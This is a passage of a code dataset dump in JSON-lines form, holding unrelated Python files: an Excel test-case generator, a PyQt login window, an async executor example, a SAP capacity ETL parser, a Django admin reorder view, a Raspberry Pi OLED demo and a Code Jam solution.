5\n# Hol ér véget a feldolgozás\nsorvege = 209\nsummary0 =\"A teszt során azt nézzük, hogy a megadott user típussal az adott helyen az adott adattípus megfelelően jelenik-e meg.\"\nsummary1a = \"User típus: \"\nsummary2a = \"Hely: \"\nsummary3a = \"Adattípus:\"\nsummary4a = \"Meg kell-e jelennie:\"\n\n#i = ahonnan indul a tesztek feldolgozása\ni = 1\n\nfor sor in range(i, sorvege):\n oszlop = 1\n szoveg1 = None\n while ws.cell(sor,oszlop+1).value != None:\n oszlop = oszlop + 1\n\n if szoveg1 == None:\n szoveg1 = ws.cell(sor,oszlop).value\n else:\n szoveg1 = szoveg1 + '-' + str(ws.cell(sor, oszlop).value)\n\n # Summary mezőt összrakjuk\n if oszlop == 2:\n if ws.cell(sor,oszlop).value == \"Partner\":\n summary1b = \" Partner felhasználó\"\n\n elif ws.cell(sor,oszlop).value == \"IT\":\n summary1b = \"Interticket felhasználó\"\n elif oszlop == 3:\n if ws.cell(sor,oszlop).value == \"Tabla\":\n summary2b = \"Admin alján közepén található táblázat\"\n elif ws.cell(sor,oszlop).value == \"Kereso\":\n summary2b = \"Admin tetején található kereső felület\"\n elif ws.cell(sor,oszlop).value == \"tr_reszletek\":\n summary2b = \"Adott tranzakció amit megnyitunk.\"\n elif ws.cell(sor,oszlop).value == \"Pdf_fajl\":\n summary2b = \"A tranzakció-t ha megnyitjuk, akkor az alján található pdf fájl rész\"\n elif ws.cell(sor, oszlop).value == \"vissza_ig\":\n summary2b = \"A tranzakció-t ha megnyitjuk, akkor az alján található visszaigazoló email rész\"\n elif ws.cell(sor, oszlop).value == \"export_xls\":\n summary2b = \"XLS-be történő exportálás\"\n elif ws.cell(sor, oszlop).value == \"export_csv\":\n summary2b = \"CSV-be történő exportálás\"\n elif oszlop == 4:\n if ws.cell(sor, oszlop).value == \"nev\":\n summary3b = 'Név'\n elif ws.cell(sor, oszlop).value == \"email\":\n summary3b = \"E-mail cím\"\n elif ws.cell(sor, oszlop).value == \"Kereses\":\n summary3b = \"Kereső mező\"\n elif ws.cell(sor, oszlop).value == \"tr_id\":\n summary3b = \"Tranzakció ID\"\n elif ws.cell(sor, oszlop).value == \"datum\":\n summary3b = \"Dátum\"\n elif ws.cell(sor, oszlop).value == \"osszeg_darab\":\n summary3b =\"Összeg / darabszám\"\n elif ws.cell(sor, oszlop).value == \"kez_mod\":\n summary3b = \"Kézbesítési mód\"\n elif ws.cell(sor, oszlop).value == \"fiz_mod\":\n summary3b = \"Fizetési mód\"\n elif ws.cell(sor, oszlop).value == \"utalvany\":\n summary3b = \"utalvány\"\n # summary3b = ws.cell(sor, oszlop).value\n elif ws.cell(sor, oszlop).value == \"affiliate\":\n summary3b = \"Affiliate kód\"\n elif ws.cell(sor, oszlop).value == \"xls\":\n summary3b = \"XLs export gomb\"\n elif ws.cell(sor, oszlop).value == \"csv\":\n summary3b = \"csv export gomb\"\n elif ws.cell(sor, oszlop).value == \"br_id\":\n summary3b = \"Browser id\"\n else:\n summary3b = ws.cell(sor, oszlop).value\n elif oszlop == 5:\n if ws.cell(sor, oszlop).value == \"nincs\":\n summary4b = \"Az adott adatnak nem kell megjelennie\"\n elvart = 'Az adott adat nem jelenik meg.'\n elif ws.cell(sor, oszlop).value == \"van\":\n summary4b = \"Az adott adatnak meg kell jelennie.\"\n elvart = 'az adott adat megjelenik'\n\n\n if oszlop != eredemenyoszlop:\n print(szoveg0)\n print(szoveg1)\n\n teljesszoveg = szoveg0 + '-' + szoveg1\n ws.cell(sor, eredemenyoszlop).value = teljesszoveg\n summary1 = summary1a + summary1b\n summary2 = summary2a + summary2b\n summary3 = summary3a + summary3b\n summary4 = summary4a + summary4b\n summarylista = []\n summarylista.append(summary0)\n summarylista.append(summary1)\n summarylista.append(summary2)\n summarylista.append(summary3)\n summarylista.append(summary4)\n summary = '

'.join(summarylista)\n #print(ws.cell(sor, eredemenyoszlop).value)\n # ws1.cell(sor, eredmenysummary).value = summary\n elsosor = elsosor + 1\n # teszteset neve\n ws1.cell(elsosor,3).value = teljesszoveg\n # teszteset summary leírása\n ws1.cell(elsosor, 5).value = summary\n action0 = \"Belépünk \" +ws.cell(sor,2).value \\\n + \"userrel és megnézzük, hogy az adott helyen az adtok elérhetőek-e.\"\n\n action = action0 +\", \" + summary2 +\", \" + summary3\n ws1.cell(elsosor,7).value = action\n ws1.cell(elsosor, 8).value =elvart\nwb.save(file2)\nwb.close()\n\n\n\n","sub_path":"alap_teszt.py","file_name":"alap_teszt.py","file_ext":"py","file_size_in_byte":5431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"415312463","text":"import sys\nfrom PyQt5.QtCore import pyqtSignal, QPropertyAnimation, QPoint, QAbstractAnimation, QRect\nfrom PyQt5.QtWidgets import QApplication, QWidget, QCompleter\nfrom Login import Ui_Form\n\n\n\nclass LoginWindow(QWidget, Ui_Form):\n\n verify_account_pwd = pyqtSignal(str, str)\n show_me = pyqtSignal()\n show_main_pane = pyqtSignal()\n echo_pwd = pyqtSignal(str)\n show_register_pane = pyqtSignal()\n\n\n def __init__(self, parent=None):\n super().__init__(parent)\n self.setupUi(self)\n\n # def showEvent(self, event):\n # super(LoginWindow, self).showEvent(event)\n # if not hasattr(self, '__showed'):\n # self.__showed == 1\n # print(self.sig.emit())\n\n def login_btn_enable_slot(self, content):\n self.tip_btn.setText(\"\")\n\n account = self.account_cb.currentText().strip()\n pwd = self.pwd_le.text().strip()\n\n if len(account) > 0 and self.remember_cb.isChecked():\n self.echo_pwd.emit(account)\n if len(account) > 0 and len(pwd) > 0:\n self.login_btn.setEnabled(True)\n else:\n self.login_btn.setEnabled(False)\n\n def auto_login_remember_me_slot(self, flag):\n if self.auto_cb.isChecked():\n self.remember_cb.setChecked(True)\n\n def open_register_pane_slot(self):\n self.show_register_pane.emit()\n\n def verify_account_pwd_slot(self):\n self.account_cb.addItem(self.account_cb.currentText().strip())\n self.verify_account_pwd.emit(self.account_cb.currentText().strip(), self.pwd_le.text().strip())\n\n def open_show_me_slot(self):\n self.show_me.emit()\n\n def open_weather_pane_slot(self):\n pass\n\n def open_date_pane_slot(self):\n pass\n\n def verify_account_pwd_result(self, result):\n if result:\n self.show_main_pane.emit()\n else:\n animation = QPropertyAnimation(self)\n animation.setTargetObject(self.login_wig)\n animation.setPropertyName(b\"pos\")\n # animation = QPropertyAnimation(self.login_wig, b\"pos\", self)\n\n # animation.setStartValue(self.login_wig.pos())\n animation.setKeyValueAt(0.25, self.login_wig.pos() + QPoint(15, 0))\n animation.setKeyValueAt(0.5, self.login_wig.pos() + QPoint(-15, 0))\n animation.setKeyValueAt(0.75, self.login_wig.pos() + QPoint(15, 0))\n animation.setKeyValueAt(1, self.login_wig.pos())\n # animation.setEndValue(self.login_wig.pos())\n # animation.currentLoopTime(1000)\n animation.setDuration(100)\n animation.setLoopCount(3)\n animation.start(QAbstractAnimation.DeleteWhenStopped)\n\n\n def echo_password_func(self, pwd):\n self.pwd_le.setText(pwd)\n\n def add_account_item_func(self, item):\n self.account_cb.addItem(item)\n\n def showEvent(self, QShowEvent):\n animation = QPropertyAnimation(self)\n animation.setTargetObject(self)\n animation.setPropertyName(b\"windowOpacity\")\n animation.setStartValue(0)\n animation.setEndValue(1)\n animation.setDuration(1500)\n animation.start()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n window = LoginWindow()\n window.show()\n sys.exit(app.exec_())\n","sub_path":"LoginWindow.py","file_name":"LoginWindow.py","file_ext":"py","file_size_in_byte":3276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"533700575","text":"import time\nimport os\n\nDEVELOPMENT_MODE = os.getenv(\"DEVELOPMENT_MODE\", True)\n\nif DEVELOPMENT_MODE:\n # Import package multirunnable\n import pathlib\n import sys\n package_path = str(pathlib.Path(__file__).parent.parent.parent.absolute())\n sys.path.append(package_path)\n\n# multirunnable package\nfrom multirunnable import RunningMode, SimpleExecutor, async_sleep\nfrom multirunnable.api import async_retry, AsyncRunWith\nfrom multirunnable.factory import SemaphoreFactory\n\n\n\nclass ExampleAsyncTargetFunction:\n\n async def async_target_function(self, *args, **kwargs) -> str:\n print(\"This is ExampleTargetFunction.async_target_function.\")\n print(\"This is target function args: \", args)\n print(\"This is target function kwargs: \", kwargs)\n # await async_sleep(3)\n await self.lock_function()\n # raise Exception(\"Test for error\")\n return \"You are 87.\"\n\n\n @async_retry.bounded_function\n @AsyncRunWith.Semaphore\n async def lock_function(self):\n print(\"This is testing process with Lock and sleep for 3 seconds.\")\n await async_sleep(3)\n print(\"Wake up and raise an exception ...\")\n raise RuntimeError(\"Test for error\")\n\n\n @lock_function.initialization\n async def initial(self):\n print(\"This is testing initialization\")\n\n\n @lock_function.done_handling\n async def done(self, result):\n print(\"This is testing done process\")\n print(\"Get something result: \", result)\n\n\n @lock_function.final_handling\n async def final(self):\n print(\"This is final process\")\n\n\n @lock_function.error_handling\n async def error(self, error):\n print(\"This is error process\")\n print(\"Get something error: \", error)\n\n\n\nclass ExampleExecutor:\n\n __Executor_Number = 0\n\n __async_example = ExampleAsyncTargetFunction()\n\n def __init__(self, executors: int):\n self.__Executor_Number = executors\n\n\n def main_run(self):\n # Initialize Lock object\n __semaphore = SemaphoreFactory(value=2)\n\n # # # # Initial Executor object\n __executor = SimpleExecutor(mode=RunningMode.Asynchronous, executors=self.__Executor_Number)\n\n # # # # Running the Executor\n # # # # Asynchronous version of generally running\n __executor.run(\n function=self.__async_example.async_target_function,\n args=(\"index_1\", \"index_2.2\"),\n features=__semaphore)\n\n # # # # Asynchronous version of generally running which will raise exception\n # __executor.run(\n # function=self.__async_example.async_target_function,\n # args=(\"index_1\", \"index_2.2\"),\n # features=__semaphore)\n\n # # # # Asynchronous version of map running which will raise exception\n # __executor.map(\n # function=self.__async_example.async_target_function,\n # args_iter=[(\"index_1\", \"index_2.2\"), (\"index_3\",), (1, 2, 3)],\n # features=__semaphore)\n\n # # # # Asynchronous version of function version of map running which will raise exception\n # __executor.map_with_function(\n # functions=[self.__async_example.async_target_function, self.__async_example.async_target_function],\n # args_iter=[(\"index_1\", \"index_2.2\"), (\"index_3\",), (1, 2, 3)],\n # features=__semaphore)\n\n # # # # Get result\n __result = __executor.result()\n print(\"Result: \", __result)\n\n\n\nif __name__ == '__main__':\n\n print(\"This is executor client: \")\n __executor_number = 3\n o_executor = ExampleExecutor(executors=__executor_number)\n o_executor.main_run()\n\n","sub_path":"example/simple/async_executor_client_with_semaphore.py","file_name":"async_executor_client_with_semaphore.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"346028453","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Extração do arquivo de planejamento de capacidades.\n\n Extração\n ========\n Transação: CM07\n Perfil : ZPS_5ANOS\n Menu : Síntese standard\n Exportar : Sistema > Lista > Gravar > File local > não convert.\n\n Notas\n =====\n A primeira linha de cada centro de trabalho mostra somente o HH restante\n para a semana atual. Ignorar a primeira linha de cada centro de trabalho.\n\"\"\"\n\nimport os\nimport re\nimport datetime\nimport pandas as pd\nimport numpy as np\nimport locale\nimport logging\nfrom . import utils\nfrom ..config import sqlconn as connection\n\nlog = logging.getLogger(__name__)\n\n\ndef _clean_sap_cm07(filename, prefix='clean ', separator='\\t',\n encoding='latin-1'):\n \"\"\"Reescreve o arquivo incluindo as informações do centro de trabalho em\n cada linha.\n\n A expressões regulares usadas são:\n Cabeçalhos: r'^Centro trab\\.\\s+(\\w+)\\s+([\\S\\s]+)Cent\\..+(.{4})(?=$)$'\n Dados : r'^\\s+\\|'\n \"\"\"\n headerregexp = re.compile(\n r'^Centro trab\\.\\s+(\\w+)\\s+([\\S\\s]+)Cent\\..+(.{4})(?=$)$')\n dataregexp = re.compile(r'^\\s+\\|')\n\n path = os.path.dirname(filename)\n cleaned_filename = prefix + os.path.basename(filename)\n cleaned_filepath = os.path.join(path, cleaned_filename)\n\n with open(filename, 'r', encoding=encoding) as fin:\n with open(cleaned_filepath, 'wb') as fout:\n for line in fin:\n matches = re.findall(headerregexp, line)\n if matches:\n info = '|'.join(match for match in matches[0])\n\n if re.search(dataregexp, line):\n cleaned_line = info + line.strip()\n fout.write(cleaned_line.encode(encoding) + b'\\n')\n\n return cleaned_filepath\n\ndef _extract(filename):\n \"\"\"Get the data from source system as efficiently as possible.\n \"\"\"\n # Load the file\n log.info('Extraindo {!r}'.format(filename))\n\n filename = _clean_sap_cm07(filename)\n\n df = pd.read_csv(filename, sep='|', encoding='latin-1',\n skiprows=0, dtype=str)\n os.remove(filename)\n\n log.info('{:d} linhas lidas'.format(len(df)))\n\n # Renomeia manualmente as colunas criadas pela função _clean_sap_cm07\n columns = df.columns.values\n columns[0] = 'centro_de_trabalho'\n columns[1] = 'descricao'\n columns[2] = 'centro'\n df.columns = columns\n\n # Rename columns\n columns = {\n 'centro_de_trabalho' : 'centro_de_trabalho',\n 'descricao' : 'descricao',\n 'centro' : 'centro',\n 'Dia' : 'data',\n 'Capacid.útil' : 'capacidade_util'}\n\n df.rename(columns=lambda x: x.strip(), inplace=True)\n df.columns = utils.deduplicate(df.columns.values.tolist())\n df.rename(columns=columns, inplace=True)\n\n # Remove the un-interesting columns\n for c in df.columns:\n if c not in columns.values():\n log.warn('{!r} não está no schema e será removida'.format(c))\n df.drop(c, axis=1, inplace=True)\n\n # Trim whitespaces\n df = df.applymap(lambda x: x.strip()\n if pd.notnull(x) else x)\n\n # Alguns campos podem ter ficado = '' depois de remover os espaços\n # excedentes, então vamos converter para np.nan\n df = df.applymap(lambda x: np.nan if x == '' else x)\n\n # Check schema\n if set(df.columns) != set(columns.values()):\n log.error('Formato de entrada incosistente. ' \\\n 'Esperado [{!s}]; Recebido [{!s}]'. \\\n format(set(columns.values()), set(df.columns)))\n raise ValueError('Formato de entrada incosistente')\n\n return df\n\n\ndef _transform(df):\n \"\"\"Perform data cleansing, dimension conforming and calculations on data.\n - Lookups, Validations, Filters, Translations.\n - Changing data structure, Joins, (De)Normalization,\n Aggregation, RollUp, Sorting, Partitioning, De-duplication.\n - Ability to call external tools.\n \"\"\"\n log.info('Preparando capacidade útil')\n\n # Configura locale\n try:\n locale.setlocale(locale.LC_ALL, 'pt_BR.ISO8859-1')\n except locale.Error:\n locale.setlocale(locale.LC_ALL, 'portuguese_brazil')\n\n # Exclui linhas extras\n n0 = len(df)\n df['data'] = df['data'].astype(str)\n df = df.loc[(df['data'] != 'Dia') &\n (~df['data'].str.startswith('Total'))].copy()\n n1 = len(df)\n\n log.info('{:d} linhas extras excluídas, {:d} linhas restantes'.\n format(n0-n1, n1))\n\n # De-duplication\n n0 = len(df)\n df.drop_duplicates(subset=['centro', 'centro_de_trabalho', 'data'],\n inplace=True)\n n1 = len(df)\n\n log.info('{:d} linhas duplicadas removidas, {:d} linhas restantes'.\n format(n0-n1, n1))\n\n # Translations\n df['capacidade_util'] = df['capacidade_util'].\\\n fillna('0').apply(lambda x: '-{}'.format(x[:-1]) \\\n if x.endswith('-') else x)\n\n # Datatypes\n df['capacidade_util'] = df['capacidade_util'].apply(locale.atof)\n df['data'] = pd.to_datetime(df['data'], format='%d.%m.%Y')\n\n # Remove a capacidade da primeira data do relatório.\n n0 = len(df)\n df = df.loc[df['data'] > df['data'].min()].copy()\n n1 = len(df)\n\n log.info('{:d} linhas de datas anteriores removidas, {:d} linhas restantes'.\n format(n0-n1, n1))\n\n return df\n\n\ndef parse(filename):\n df = _extract(filename)\n df = _transform(df)\n\n # Write records stored in a DataFrame to a SQL database\n log.info('Salvando banco de dados')\n df.to_sql('cm07', connection,\n if_exists='replace', index=False, chunksize=16*1000)\n","sub_path":"etl/parsers/cm07.py","file_name":"cm07.py","file_ext":"py","file_size_in_byte":5641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"404588257","text":"import json\nimport logging\n\nfrom django import http\nfrom django.conf import urls\nfrom django.contrib import admin\nfrom django.db import connection\nfrom django.utils import html\n\nfrom . import models\n\n\n# Get an instance of a logger.\nlogger = logging.getLogger(__name__)\n\n\n# Register your models here.\n@admin.register(models.Taxonomy)\nclass TaxonomyAdmin(admin.ModelAdmin):\n list_display = ('drag_handle', 'position', 'name', 'visible',)\n list_display_links = ('name',)\n ordering = ('-position',)\n\n def drag_handle(self, obj):\n return html.format_html('☰')\n drag_handle.short_description = ''\n\n def get_urls(self):\n existing_urls = super(TaxonomyAdmin, self).get_urls()\n my_urls = [\n urls.url(r'^reorder/$',\n self.admin_site.admin_view(self.reorder))\n ]\n return my_urls + existing_urls\n\n def reorder(self, request):\n req_data = json.loads(request.body.decode('utf-8'))\n logger.warning('Request data json is: {}'.format(req_data))\n \n ids = []\n positions = []\n for obj_data_str in req_data:\n obj_data = json.loads(obj_data_str)\n ids.append(obj_data['id'])\n positions.append(obj_data['position'])\n \n # Reverse sort the positions array.\n positions = sorted(positions, reverse=True)\n logger.warning('Sorted positions are: {}'.format(positions))\n \n # Make a dict from ids and reverse sorted positions.\n reorder_data = dict(zip(ids, positions))\n logger.warning('Reorder data is: {}'.format(reorder_data))\n \n # Build the sql clause to update database records.\n sql_update_builder = [\n 'UPDATE core_taxonomy',\n 'SET position = (',\n 'SELECT tmp.position',\n 'FROM (',\n ]\n sql_params = []\n \n for k, v in reorder_data.items():\n sql_update_builder.extend([\n 'SELECT %s AS id, %s AS position',\n 'UNION',\n ])\n sql_params.append(k)\n sql_params.append(v)\n\n # Remove last 'UNION' statement.\n sql_update_builder.pop()\n \n sql_update_builder.extend([\n ') AS tmp',\n 'WHERE tmp.id = core_taxonomy.id',\n ')',\n ])\n sql_update = ' '.join(sql_update_builder)\n logger.warning(sql_update)\n logger.warning(sql_params)\n \n # Execute the sql.\n with connection.cursor() as cursor:\n cursor.execute(sql_update, sql_params)\n\n return http.JsonResponse({'status': 'ok'})\n\n class Media:\n css = {\n 'all': ('css/admin/sort.css',)\n }\n js = ('js/admin/csrfajax.js', 'js/admin/Sortable.min.js',\n 'js/admin/sort.js',)\n\n\n@admin.register(models.Taxon)\nclass TaxonAdmin(admin.ModelAdmin):\n pass\n","sub_path":"core/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"190112421","text":"\r\n# Raspberry Pi Clock\r\n# for the Pi Zero W and OLED Bonnet from Adafruit:\r\n# https://www.adafruit.com/product/3400\r\n# https://www.adafruit.com/product/3192\r\n\r\n# external dependencies\r\n\r\n# import time\r\n# import urllib2\r\n# import json\r\n# import subprocess\r\nfrom PIL import Image, ImageDraw, ImageFont\r\n\r\n# import Adafruit_GPIO.SPI as SPI\r\nimport Adafruit_SSD1306\r\n\r\n# =============================================================================\r\n# Globals\r\n# -----------------------------------------------------------------------------\r\n\r\nFONT_FAMILY = \"/usr/share/fonts/truetype/freefont/FreeSansBold.ttf\"\r\n\r\n# Raspberry Pi pin configuration\r\n# 128x64 display with hardware I2C:\r\nRST = None # on the PiOLED this pin isn't used\r\ndisp = Adafruit_SSD1306.SSD1306_128_64(rst=RST)\r\nWIDTH = disp.width\r\nHEIGHT = disp.height\r\n\r\n\r\n# =============================================================================\r\n# Main\r\n# -----------------------------------------------------------------------------\r\n\r\n# Initialize library and clear display\r\ndisp.begin()\r\ndisp.clear()\r\ndisp.display()\r\n\r\n# Create blank image for drawing.\r\n# Make sure to create image with mode '1' for 1-bit color.\r\nimage = Image.new('1', (WIDTH, HEIGHT))\r\ndraw = ImageDraw.Draw(image)\r\ndraw.rectangle((0,0,WIDTH,HEIGHT), outline=0, fill=0)\r\n\r\n# Draw a black filled box to clear the image.\r\nmsg_font = ImageFont.truetype(FONT_FAMILY, 18)\r\ndraw.rectangle((0, 0, WIDTH, HEIGHT), outline=0, fill=0)\r\ndraw.text((0, 0), \"Hello World!\", font=msg_font, fill=255)\r\n\r\n# Display image.\r\ndisp.image(image)\r\ndisp.display()\r\n","sub_path":"clock/hello_world.py","file_name":"hello_world.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"79130927","text":"\r\nimport sys\r\nimport time\r\nimport operator\r\nimport math\r\nimport re\r\nimport heapq\r\nfrom collections import deque\r\n\r\ntimeit = 1\r\ndebugv = 0\r\nstartTime = 0\r\n\r\noutFile = open('output.txt', 'w')\r\ninFile = sys.stdin\r\ninFile = open('B-test.in', 'r')\r\ninFile = open('C:/Users/quentin/Downloads/B-small-attempt0.in', 'r')\r\ninFile = open('C:/Users/quentin/Downloads/B-large.in', 'r')\r\n#inFile = open('C:/Users/quentin/Downloads/B-large-practice.in', 'r')\r\n\r\ndef main():\r\n\tT = int(inFile.readline())\r\n\tstartTime = time.clock()\r\n\tfor case in range(1,T+1):\r\n\t\tout(\"Case #{}: \".format(case))\r\n\t\tdoCase(case)\r\n\t\tout(\"\\n\")\r\n\r\n\r\n\r\ndef out(m):\r\n\toutFile.write(m)\r\n\tsys.stdout.write(m)\r\n\r\ndef cobin(k,n):\r\n\t#debug(str(k)+\" parmi \"+str(n)+\"\\n\")\r\n\treturn math.factorial(n)//(math.factorial(n-k)*math.factorial(k))\r\n\r\n\r\ndef invKey(k):\r\n\treturn -k\r\n\r\ndef benefice(i):\r\n\treturn math.log(i, 2)\r\n\r\ndef recMax(L):\r\n\tm = 0\r\n\tfor l in L:\r\n\t\tfor i in l:\r\n\t\t\tm = max(m,i)\r\n\treturn m\r\nimport queue\r\ndef doCase(case):\r\n\tline = inFile.readline()\r\n\tif line[-1] == '\\n':\r\n\t\tline = line[:-1]\r\n\tD = [True if c=='+' else False for c in line]\r\n\tflip = 0\r\n\r\n\twhile flip < 100:\r\n\t\t#print(D)\r\n\r\n\r\n\t\tif not D[len(D) - 1] and D[0]:\r\n\t\t\ti = 0\r\n\t\t\tflip += 1\r\n\t\t\twhile i < len(D) and D[i]:\r\n\t\t\t\tD[i] = False\r\n\t\t\t\ti += 1\r\n\t\tif D[len(D) - 1]:\r\n\t\t\ti = len(D) - 1\r\n\t\t\twhile i >= 0 and D[i]:\r\n\t\t\t\ti -= 1\r\n\t\t\tif i == -1:\r\n\t\t\t\tout(str(flip))\r\n\t\t\t\treturn\r\n\t\t\tD = D[:i+1]\r\n\t\t\tcontinue\r\n\t\tD2 = []\r\n\t\ti = len(D) - 1\r\n\t\twhile i >= 0:\r\n\t\t\tD2.append(not D[i])\r\n\t\t\ti-=1\r\n\t\tD = D2\r\n\t\tflip += 1\r\n\t\r\n\r\n\r\n'''\tmaxId = L[0]\r\n\r\n\tbest = L[0]\r\n\tQ = []\r\n\tfor x in L:\r\n\t\theapq.heappush(Q,-x)\r\n\r\n\tswap = 0\r\n\twhile len(Q):\r\n\t\tx = -heapq.heappop(Q)\r\n\t\tbest = min(swap + x , best)\r\n\t\tif x == 1:\r\n\t\t\tbreak\r\n\t\t#x -= 1\r\n\t\t#print(\"best : \"+str(best)+\" \"+str(x)+\" \"+str(swap)+\" \"+str(Q))\r\n\t\theapq.heappush(Q,-math.ceil(x/2))\r\n\t\theapq.heappush(Q,-math.floor(x/2))\r\n\t\tswap += 1\r\n\tout(str(best))\r\n\r\n'''\r\n'''\teaten = 0\r\n\tswap = 0\r\n\twhile len(L):\r\n\r\n\t\tprint(\" L[0] - eaten (\"+str(L[0] - eaten)+\") <= (\"+str(math.ceil((L[len(L)-1] - eaten) / 2))+\") math.ceil((L[len(L)-1] - eaten) / 2) \")\r\n\t\tm = math.ceil(L[0]/()) - eaten\r\n\r\n\t\tif L[0] - eaten <= math.ceil((L[len(L)-1] - eaten) / 2):\r\n\t\t\tp = L.popleft() - eaten\r\n\t\t\teaten += p\r\n\t\t\tprint(\"eat \"+str(p))\r\n\t\t\tcontinue\r\n\t\tswap += 1\r\n\t\tprint(\" swap \")\r\n'''\r\n\t\t\r\n\r\n\r\n'''Cumul = [0]*1000\r\n\t\t\tCumul[0] = P[0]\r\n\t\t\tfor i in range(1, 1000):\r\n\t\t\t\tCumul[i] = P[0] + Cumul[i-1]'''\r\n\r\n'''score = 0\r\n\t\t\tfor i in range(1000):\r\n\t\t\t\tif P[1] > 0:\r\n\t\t\t\t\tscore += 1\r\n\t\t\t\t\tfor i in range(99):\r\n\t\t\t\t\t\tP[i] = P[i+1]'''\r\n\r\n\r\n'''\tQ = []\r\n\tfor x in L:\r\n\t\tif not -x in Q:\r\n\t\t\theapq.heappush(Q,-x)\r\n\theapq.heappush(Q,0)\r\n\r\n\tM = L[0]\r\n\tnbSwap = 0\r\n\tL = []\t\r\n\tnbPrev = 0\r\n\twhile len(Q):\r\n\t\tx = -heapq.heappop(Q)\r\n\t\t#print(str(x)+\" \"+str(L))\r\n\t\tif x == 1:\r\n\t\t\tbreak\r\n\t\tif len(L) == 0:\r\n\t\t\tnbPrev += P[x]\r\n\t\t\tL = [x]\r\n\t\t\tM = max(M, x)\r\n\t\t\tcontinue\r\n\t\t#print(\"x - L[len(L) - 1] \"+str(L[0] - max(x, math.ceil(L[0]/2)))+\" > \"+str(nbPrev)+\" nbPrev \")\r\n\t\tif L[0] - max(x, math.ceil(L[0]/2)) > nbPrev:\r\n\t\t\tfor i in L:\r\n\t\t\t\tP[math.ceil(i/2)] += P[i]\r\n\t\t\t\tP[math.floor(i/2)] += P[i]\r\n\t\t\t\tif not -math.ceil(i/2) in Q:\r\n\t\t\t\t\theapq.heappush(Q,-math.ceil(i/2))\r\n\t\t\t\tif not -math.floor(i/2) in Q:\r\n\t\t\t\t\theapq.heappush(Q,-math.floor(i/2))\r\n\r\n\t\t\tif not -x in Q:\r\n\t\t\t\theapq.heappush(Q,-x)\r\n\t\t\tif x != 0:\r\n\t\t\t\tM = x\r\n\t\t\telse:\r\n\t\t\t\tM = 1\r\n\t\t\tnbSwap+=nbPrev\r\n\t\t\tnbPrev = 0\r\n\t\t\tL = []\r\n\t\t\tcontinue\r\n\r\n\t\tL.append(x)\r\n\t\tnbPrev += P[x]'''\r\n\r\n\t#print(M)\r\n\t#print(nbSwap)\r\n\r\n\t#out(str(M+nbSwap))\r\n\r\n\r\n'''\tnbSwap = 0\r\n\ti = 0\r\n\tlast = -1\r\n\tfor n in P:\r\n\t\tif last == -1:\r\n\t\t\tlast = n\r\n\t\t\ti+=1\r\n\t\t\tcontinue\r\n\r\n\t\tif 0 < last//2 - i < (last - n) :\r\n\t\t\tnbSwap += i\r\n\t\t\tprint(str(last)+\" can be divided\")\r\n\t\t\ti+=1\r\n\t\telse:\r\n\t\t\tprint(str(last)+\" cannot be divided \"+str(last//2 - i)+\" \"+str(last-n))\r\n\t\t\r\n\t\tlast = n\r\n\t\ti+=1\r\n\r\n\t#out(str((1 << (nbSwap ))))\r\n\t#out(\" \")\r\n\tout(str(nbSwap + math.ceil(max(P)/(1 << (nbSwap )))))'''\r\n\r\n\r\n\r\n\r\n\r\ndef debugln(m):\r\n\tdebug(m)\r\n\tdebug('\\n')\r\n\r\ndef debug(m):\r\n\tif debugv:\r\n\t\tsys.stdout.write(str(m))\r\n\r\nif __name__ == '__main__':\r\n\tif len(sys.argv) > 1:\r\n\t\tif re.search('d', sys.argv[1]):\r\n\t\t\tdebugv = 1\r\n\t\tif re.search('i', sys.argv[1]):\r\n\t\t\tinFile = sys.stdin\r\n\r\n\tmain()\r\n\tif timeit:\r\n\t\tsys.stderr.write(\"Completed in {} seconds.\\n\".format(time.clock() - startTime)) ","sub_path":"solutions_5634697451274240_1/Python/QuentinB/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"196019913","text":"# -*- coding:utf-8 -*-\n\nimport os\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib\n\n\nimport matplotlib.pyplot as plt\n\nfrom matplotlib.font_manager import *\nmyfont = FontProperties(fname='/usr/local/lib/python3.7/site-packages/matplotlib/mpl-data/fonts/ttf/simhei.ttf')\nmatplotlib.rcParams['axes.unicode_minus']=False\n\n\n\n\n# files=os.listdir('/Users/huangchuang/Documents/GitHub/linux_python/abnormal/train_test_data')\nfiles=os.listdir('train_test_data')\nsourece='train_test_data'\ndestination='kpi'\ncount=1\n# for file in files:\n# os.rename(sourece+'/'+file,sourece+'/'+destination+str(count)+'.csv')\n# count+=1\ntemp=[]\nnoraml_data=[]\ncol=[]\nl=len(files)\nfor file in files:\n data=pd.read_csv(sourece+'/'+file)\n d=pd.value_counts(data['label'])\n \n temp.append(d[1])\n noraml_data.append(d[0])\n col.append(os.path.splitext(file)[0])\n \n\n\n \n\n# plt.title('清华比赛数据29个指标(异常数目/整体数目)视图————可作为参考',fontproperties=myfont)\n#\n# plt.plot(list(range(1,l+1)),temp)\n# plt.show()","sub_path":"abnormal/data_viewer.py","file_name":"data_viewer.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"638944194","text":"import re\n\nstimuli = dict()\n\nfor i in range(1,11):\n\n filename='/home/mzanotto/Desktop/renvisionRV/renvision/Actions/xmlFiles/'+str(i)+'.xml'\n fin=open(filename,'r')\n text = fin.readlines()\n stimuli['i'] = re.findall(\"data\\\\\\\\\\\\\\\\(.*?)\\<\\/name\\>\",str(text))\n\n\n","sub_path":"Actions/code/getStimuliNames.py","file_name":"getStimuliNames.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} 